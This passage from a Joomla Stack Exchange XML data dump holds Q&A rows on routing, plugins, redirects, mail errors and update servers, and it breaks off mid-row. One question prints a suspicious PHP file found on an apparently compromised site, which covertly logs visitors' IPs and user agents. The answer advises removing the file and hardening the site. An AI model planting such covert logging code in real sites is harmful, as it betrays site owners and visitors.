  <row Id="16036" PostTypeId="2" ParentId="16034" CreationDate="2016-04-07T02:28:06.860" Score="5" Body="&lt;p&gt;Good question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks likely that the new Joomla router held over until Joomla 3.6 will fix this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, there is a $15 extension, &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/site-management/sef/sef-wizard-for-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;SEF Wizard for Joomla&lt;/a&gt; that, &quot;removes IDs from the URL of standard Joomla components, such as com content, com contact and com tags&quot;.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="13503" LastEditDate="2019-04-26T07:59:55.907" LastActivityDate="2019-04-26T07:59:55.907" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="16037" PostTypeId="2" ParentId="16033" CreationDate="2016-04-07T04:02:24.020" Score="0" Body="&lt;p&gt;I'm not an expert, but I'll try to point out a couple of things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Looking at your code, the problem (I'm pretty sure) is that echo doesn't go somewhere. If onContentBeforeDisplay is anything like onContentPrepare, then your code should be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$row-&amp;gt;text=&quot;test&quot;.$row-&amp;gt;text;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm guessing this is really your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Without seeing the manifest for the plugin, it's really impossible to say. I've done things like forget a file from the manifest, and then have the thing not work.&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-04-07T04:02:24.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16038" PostTypeId="2" ParentId="16023" CreationDate="2016-04-07T04:11:40.837" Score="2" Body="&lt;p&gt;I made changes to the User Access Levels but these didnt appear to be working, I have since cleared my cache and now the website appears to be working how I wanted to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FOR USER ACCESS LEVELS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;PUBLIC: leave all options unchecked&lt;/li&gt;&#xA;&lt;li&gt;GUEST: checked Guest only&lt;/li&gt;&#xA;&lt;li&gt;REGISTERED: checked Manager, Registered User and Super User&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;FOR THE MENU ITEMS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;MAIN MENU: User Access Level set to 'Public' by default&lt;/li&gt;&#xA;&lt;li&gt;LOGIN: Changed User Access Level to 'Guest'&lt;/li&gt;&#xA;&lt;li&gt;ADMIN with Sub-Menu Items: Changed all User Access Levels to 'Registered', this includes my &quot;logout&quot; button.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now when I login, the menu updates correctly.&lt;/p&gt;&#xA;" OwnerUserId="8038" LastActivityDate="2016-04-07T04:11:40.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16039" PostTypeId="2" ParentId="16033" CreationDate="2016-04-07T06:10:42.760" Score="4" Body="&lt;p&gt;The naming convention of the plugin files must be proper. This might be the issue why your plugin class is not rendering. See the example below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Plugin File: nameofplugin.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class plgContentNameofplugin extends JPlugin {&#xA; //plugin code&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;XML File: nameofplugin.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;files&amp;gt;&#xA;   &amp;lt;filename plugin=&quot;nameofplugin&quot;&amp;gt;nameofplugin.php&amp;lt;/filename&amp;gt;&#xA;&amp;lt;/files&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please refer the following link for more details:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_content_plugin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_content_plugin&lt;/a&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;See the modifications below you would need to do:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Rename the 2 files as : &lt;code&gt;titlere.php&lt;/code&gt; and &lt;code&gt;titlere.xml&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In titlere.xml, modify the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;files&amp;gt;&#xA;    &amp;lt;filename plugin=&quot;titlere&quot;&amp;gt;titlere.php&amp;lt;/filename&amp;gt;&#xA;    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA; &amp;lt;/files&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;zip the files install it and check, or modify the installed files and check.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reason:&lt;/strong&gt; you are naming as &lt;code&gt;plgcontenttitlere&lt;/code&gt; which is wrong because &lt;code&gt;plg&lt;/code&gt; denotes plugin type, &lt;code&gt;content&lt;/code&gt; denotes the content type and &lt;code&gt;titlere&lt;/code&gt; is the name of your plugin and therefore, files must be named this way.&lt;/p&gt;&#xA;" OwnerUserId="7632" LastEditorUserId="7632" LastEditDate="2016-04-08T12:58:00.690" LastActivityDate="2016-04-08T12:58:00.690" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16040" PostTypeId="2" ParentId="16032" CreationDate="2016-04-07T07:19:55.753" Score="4" Body="&lt;p&gt;The best thing to do is to handle all redirects directly in sub controllers where you just need to use &lt;code&gt;$this-&amp;gt;setRedirect($url,$msg,$type);&lt;/code&gt; and MVC will do the rest of the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to redirect outside of controllers you can use &lt;strong&gt;JControllerLegacy&lt;/strong&gt; class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$controller = JControllerLegacy::getInstance(&quot;ComponentName&quot;);&#xA;$controller-&amp;gt;setRedirect($url,$msg,$type);&#xA;$controller-&amp;gt;redirect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-04-07T07:19:55.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16041" PostTypeId="2" ParentId="16032" CreationDate="2016-04-07T08:36:43.873" Score="10" Body="&lt;p&gt;Passing the message via the redirect function is deprecated, but both &lt;code&gt;redirect()&lt;/code&gt; and &lt;code&gt;enqueueMessage()&lt;/code&gt; are still both fine to use on their own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You simply need to use both together, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&#xA;$app-&amp;gt;enqueueMessage('Redirect to another page was successful', 'success');&#xA;$app-&amp;gt;redirect(JRoute::_('index.php'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;enqueueMessage&lt;/code&gt; stores the message in a session, so when you call this before the &lt;code&gt;redirect()&lt;/code&gt; function, the session value still exists on the page you were redirected to, thus the message will display ;)&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-07T08:36:43.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16042" PostTypeId="2" ParentId="16035" CreationDate="2016-04-07T08:54:42.733" Score="1" Body="&lt;p&gt;I'll take a wild guess before you reply to my comment above. In your extension's update XML file, perhaps you have set the &lt;code&gt;type&lt;/code&gt; attribute incorrectly for the update server. As it's a package you wish to update, the &lt;code&gt;type&lt;/code&gt; needs to be set to &lt;code&gt;collection&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updateservers&amp;gt;&#xA;    &amp;lt;server type=&quot;collection&quot; priority=&quot;1&quot; name=&quot;My Extension Name&quot;&amp;gt;http://example.com/update.xml&amp;lt;/server&amp;gt;&#xA;&amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-07T08:54:42.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16046" PostTypeId="2" ParentId="15784" CreationDate="2016-04-07T13:10:34.050" Score="0" Body="&lt;p&gt;What worked for me:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install PCE - Page Cache Extended Plugin from &lt;a href=&quot;https://joomla-extensions.kubik-rubik.de/pce-page-cache-extended&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Disable core Joomla cache and replace it by this plugin instead&lt;/li&gt;&#xA;&lt;li&gt;In the plugin configs, exclude components: &lt;code&gt;com_users&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use core Joomla component to register/login users. No &lt;code&gt;mod_login&lt;/code&gt; no 3rd party extensions&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PS:&lt;/strong&gt; Joomla should allow disabling cache to whatever components/modules necessary. I can see it is already possible to exclude URLs but what if you have a module &lt;code&gt;mod_login&lt;/code&gt; in main the main menu or a custom extension?&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2016-04-07T13:10:34.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16048" PostTypeId="1" AcceptedAnswerId="16053" CreationDate="2016-04-07T13:57:34.000" Score="1" ViewCount="250" Body="&lt;p&gt;I am seeing this error on front page of one of my website &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected '&amp;lt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some code has been hidden for security* but the source of that error is index.php. On examining my index.php i see a line of code referncing index_old.php. The code on the that file is as shown&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;    &amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&#xA;    &amp;lt;body&amp;gt;&#xA;    &amp;lt;?php&#xA;       $ip=$_SERVER[&quot;REMOTE_ADDR&quot;];&#xA;&#xA;       $logfilename1=dirname(__FILE__).'/htaccess.log';&#xA;&#xA;       $fp2=fopen($logfilename1,&quot;a&quot;);&#xA;&#xA;       fwrite($fp2,$ip);&#xA;&#xA;       fwrite($fp2,&quot; &quot;.$_SERVER[&quot;SERVER_ADDR&quot;].&quot;    &quot;.$_SERVER[&quot;HTTP_HOST&quot;]); &#xA;&#xA;       fwrite($fp2,&quot; &quot;.$_SERVER['HTTP_USER_AGENT']);&#xA;&#xA;       fwrite($fp2,&quot; &quot;.strftime('%c').&quot;\r\n&quot;);&#xA;&#xA;       fclose($fp2);&#xA;    ?&amp;gt;&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am cracking my head to find out if the site has been infiltrated or injected with suspicious scripts. Could anyone help me figure out this?       &lt;/p&gt;&#xA;" OwnerUserId="5507" LastEditorUserId="3650" LastEditDate="2016-04-07T18:22:14.277" LastActivityDate="2016-04-07T18:22:14.277" Title="Did my site get hacked?" Tags="|joomla-3.x|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16049" PostTypeId="2" ParentId="15951" CreationDate="2016-04-07T14:11:48.637" Score="1" Body="&lt;p&gt;I would export to CVS and make necessary edits using a text editor then import the newly edited CVS into the SQL database though, there is other ways of accomplishing this using SQL queries.  Make sure you backup your tables first.&lt;/p&gt;&#xA;" OwnerUserId="8130" LastActivityDate="2016-04-07T14:11:48.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16051" PostTypeId="1" AcceptedAnswerId="16052" CreationDate="2016-04-07T15:21:54.977" Score="10" ViewCount="8968" Body="&lt;p&gt;After upgrading to Joomla 3.5.1, I get an &lt;code&gt;Invalid Address&lt;/code&gt; error in some of my extensions that use PHPMailer (the Joomla Mailing system).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="405" LastEditDate="2016-04-08T15:39:52.613" LastActivityDate="2016-04-08T21:33:36.327" Title="Fix the &quot;Invalid Address&quot; error, after upgrading to Joomla 3.5.1" Tags="|joomla-3.x|upgrade|joomla-mail|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16052" PostTypeId="2" ParentId="16051" CreationDate="2016-04-07T15:21:54.977" Score="16" Body="&lt;h2&gt;Answer for Users:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you are getting this error because you are using some extension that sends emails, please visit the developer page, and first &lt;strong&gt;make sure you are using the latest version&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are 100% sure that you are using the latest version, but still getting this error, you should contact the developer and ask them about this error. &lt;strong&gt;Sending them a link to this page, may help the developer to fix this error&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you consider yourself experienced enough with PHP, you may try to patch the code on your own, using the &quot;answer for developers&quot;, below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this will not be a permanent solution, but just a &quot;patch&quot;, until the developer issues a new version.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Answer for Developers:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla 3.5.1 enables PHPMailer's exceptions by default. Thus errors that were previously hidden show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One case where this shows now is with the &lt;code&gt;addReplyTo&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 2.5 &lt;code&gt;addReplyTo&lt;/code&gt; had an array parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beginning with Joomla 3.0 (&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/c7c3722157456f1ea29732b51728006a2ae509a8/libraries/joomla/mail/mail.php&quot;&gt;yes, back in 2012&lt;/a&gt;) Joomla's JMail function changed to not handle arrays differently than string parameters. Thus it relied on the underlying PHPMailer code, which however changed also and thus fails to add the Reply-To correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHPMailer does throw an Exception for that, however up until Joomla 3.5.1 nobody saw that exception if you did not enable the exception handling manually!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may search your extension code for &lt;code&gt;addReplyTo&lt;/code&gt; and change lines like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $mailer-&amp;gt;addReplyTo(array($replyTo, $replyToName));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(version_compare(JVERSION, '3.0', 'ge')) {&#xA;  $mailer-&amp;gt;addReplyTo($replyTo, $replyToName);&#xA;} else {&#xA;  $mailer-&amp;gt;addReplyTo(array($replyTo, $replyToName));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermore you want to add &lt;code&gt;try {} catch() {}&lt;/code&gt; code as needed to handle the Exception coming from JMail/PHPMailer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/9577&quot;&gt;Discussion of the issue on Github&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=708&amp;amp;p=3386464&quot;&gt;Relevant topic in Joomla forums&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="405" LastEditorUserId="405" LastEditDate="2016-04-08T10:28:07.327" LastActivityDate="2016-04-08T10:28:07.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16053" PostTypeId="2" ParentId="16048" CreationDate="2016-04-07T15:36:11.270" Score="2" Body="&lt;p&gt;A bunch of have have posted numerous answers on Joomla Stack Exchange about what to to in case of a site being hacked. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suggestion first would be to delete the &lt;code&gt;index_old.php&lt;/code&gt; file, then remove the reference to this file in the &lt;code&gt;index.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then have a read of these:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/2305/what-to-do-if-my-joomla-website-got-hacked&quot;&gt;What to do if my Joomla website got hacked&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/16003/site-gets-hacked-and-everytime-a-new-user-is-created-with-admin-rights&quot;&gt;Site gets hacked after admin is created&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/15027/trying-to-fix-hacked-site&quot;&gt;Try to fix a hacked site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A quick summary:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Update Joomla to latest version (&lt;em&gt;currently 3.5.1&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Update ALL extensions to their latest version&lt;/li&gt;&#xA;&lt;li&gt;Change your password for the hosting control panel, FTP and Joomla super user&lt;/li&gt;&#xA;&lt;li&gt;Ensure &lt;strong&gt;chmod&lt;/strong&gt; permissions for is &lt;strong&gt;755&lt;/strong&gt; for directories and &lt;strong&gt;644&lt;/strong&gt; for files &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-04-07T15:36:11.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16057" PostTypeId="1" AcceptedAnswerId="16058" CreationDate="2016-04-07T19:36:59.087" Score="8" ViewCount="10151" Body="&lt;p&gt;I manage around 3 dozen J! sites. &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5654-joomla-3-5-is-here.html&quot;&gt;Joomla 3.5&lt;/a&gt;+ sends an email to admins by default whenever there's an update available. Obviously I don't need 3 dozen emails every time a patch version is released. (I wish this feature was opt-in.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to stop the emails than disabling the System - Joomla! Update Notification plugin? An option somewhere? &lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2018-07-06T05:40:27.810" Title="Is there a better way to stop update email notifications than disabling the system plugin?" Tags="|update|" AnswerCount="6" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16058" PostTypeId="2" ParentId="16057" CreationDate="2016-04-07T19:40:49.590" Score="6" Body="&lt;p&gt;Unfortunately not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's an &quot;opt-out&quot; feature to encourage more people to keep their sites up to date. Loads of people either forget or don't think it's important  so telling them straight away rather than letting them find out in their own time is the best option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you can do is either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Disable the system plugin on the sites&lt;/li&gt;&#xA;&lt;li&gt;Block the emails using your email client&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-04-07T19:40:49.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16060" PostTypeId="2" ParentId="16035" CreationDate="2016-04-07T21:41:54.893" Score="1" Body="&lt;p&gt;That got me on the right track. It's a little non-intuitive that you can't use extension for package. Here's what I ended up with that works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the package manfiest&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;updateservers&amp;gt;&#xA;            &amp;lt;server type=&quot;collection&quot; priority=&quot;1&quot; name=&quot;Connect Daily Update Site&quot;&amp;gt;http://www.connectdaily.com/joomla/updates/package.xml&amp;lt;/server&amp;gt;&#xA;    &amp;lt;/updateservers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, in package.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extensionset name=&quot;Connect Daily&quot; description=&quot;Connect Daily Events Calendar System&quot;&amp;gt;&#xA; &amp;lt;extension name=&quot;Connect Daily Package&quot;   element=&quot;pkg_connectdaily&quot;     type=&quot;package&quot;   version=&quot;0.9.2&quot; detailsurl=&quot;http://www.connectdaily.com/joomla/updates/pkg.xml&quot;/&amp;gt;&#xA;&amp;lt;/extensionset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;finally, pkg.xml&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;updates&amp;gt;&#xA;    &amp;lt;update&amp;gt;&#xA;            &amp;lt;name&amp;gt;Connect Daily&amp;lt;/name&amp;gt;&#xA;            &amp;lt;description&amp;gt;Connect Daily Events Calendar System&amp;lt;/description&amp;gt;&#xA;            &amp;lt;element&amp;gt;connectdaily&amp;lt;/element&amp;gt;&#xA;            &amp;lt;type&amp;gt;package&amp;lt;/type&amp;gt;&#xA;            &amp;lt;version&amp;gt;0.9.2&amp;lt;/version&amp;gt;&#xA;            &amp;lt;infourl title=&quot;Connect Daily&quot;&amp;gt;http://www.connectdaily.com/joomla/&amp;lt;/infourl&amp;gt;&#xA;            &amp;lt;downloads&amp;gt;&#xA;                    &amp;lt;downloadurl type=&quot;upgrade&quot; format=&quot;zip&quot;&amp;gt;http://www.connectdaily.com/joomla/updates/pkg_connectdaily-0.9.2.zip&amp;lt;/downloadurl&amp;gt;&#xA;            &amp;lt;/downloads&amp;gt;&#xA;            &amp;lt;tags&amp;gt;&#xA;                    &amp;lt;tag&amp;gt;stable&amp;lt;/tag&amp;gt;&#xA;            &amp;lt;/tags&amp;gt;&#xA;            &amp;lt;maintainer&amp;gt;George Sexton&amp;lt;/maintainer&amp;gt;&#xA;            &amp;lt;maintainerurl&amp;gt;http://www.connectdaily.com/&amp;lt;/maintainerurl&amp;gt;&#xA;            &amp;lt;section&amp;gt;Updates&amp;lt;/section&amp;gt;&#xA;            &amp;lt;targetplatform name=&quot;joomla&quot; version=&quot;3.[23456789]&quot;/&amp;gt;&#xA;    &amp;lt;/update&amp;gt;&#xA;&amp;lt;/updates&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-04-07T21:41:54.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16064" PostTypeId="1" CreationDate="2016-04-08T09:25:09.240" Score="0" ViewCount="274" Body="&lt;p&gt;I have this form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;// No direct access to this file&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;JHtml::_('behavior.keepalive');&#xA;JHtml::_('behavior.formvalidation');&#xA;JHtml::_('behavior.tooltip');&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;form class=&quot;form-validate&quot;&#xA;    action=&quot;&amp;lt;?php echo JRoute::_('index.php'); ?&amp;gt;&quot; method=&quot;post&quot;&#xA;    id=&quot;register&quot; name=&quot;register&quot; style=&quot;padding-bottom: 20px;&quot;&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;div&amp;gt;&amp;lt;?php echo JText::_('COM_STRBIOMERIEUX_FORM_TITLE'); ?&amp;gt; &amp;lt;span style=&quot;font-weight: bold;&quot;&amp;gt;&amp;lt;?php if (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'j') echo JText::_('COM_STRBIOMERIEUX_JOURNEYS'); elseif (JFactory::getApplication()-&amp;gt;input-&amp;gt;get('journey', '') == 'w') echo JText::_('COM_STRBIOMERIEUX_WORKSHOPS'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;            &amp;lt;div style=&quot;font-size: 0.8em;&quot;&amp;gt;&amp;lt;?php echo JText::_('COM_STRBIOMERIEUX_FORM_DESC'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;hr /&amp;gt;&#xA;            &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('journey','',$this-&amp;gt;journey-&amp;gt;id); ?&amp;gt;&#xA;        &amp;lt;dl&amp;gt;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('name'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('name'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('nclient'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('nclient'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('name_lab'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('name_lab'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('function'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('function'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('service'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('service'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;strong&amp;gt;Dados para recibo&amp;lt;/strong&amp;gt;&amp;lt;/br&amp;gt;&#xA;            &amp;lt;/br&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('address'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('address'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('postal_code'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('postal_code') . ' - ' . $this-&amp;gt;form-&amp;gt;getInput('postal_code_3') . ' ' . $this-&amp;gt;form-&amp;gt;getInput('postal_code_desc'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('phone'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('phone'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('fax'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('fax'); ?&amp;gt;&amp;lt;/dd&amp;gt;&#xA;&#xA;            &amp;lt;dt&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('email'); ?&amp;gt;&amp;lt;/dt&amp;gt;&#xA;            &amp;lt;dd&amp;gt;&amp;lt;?php echo 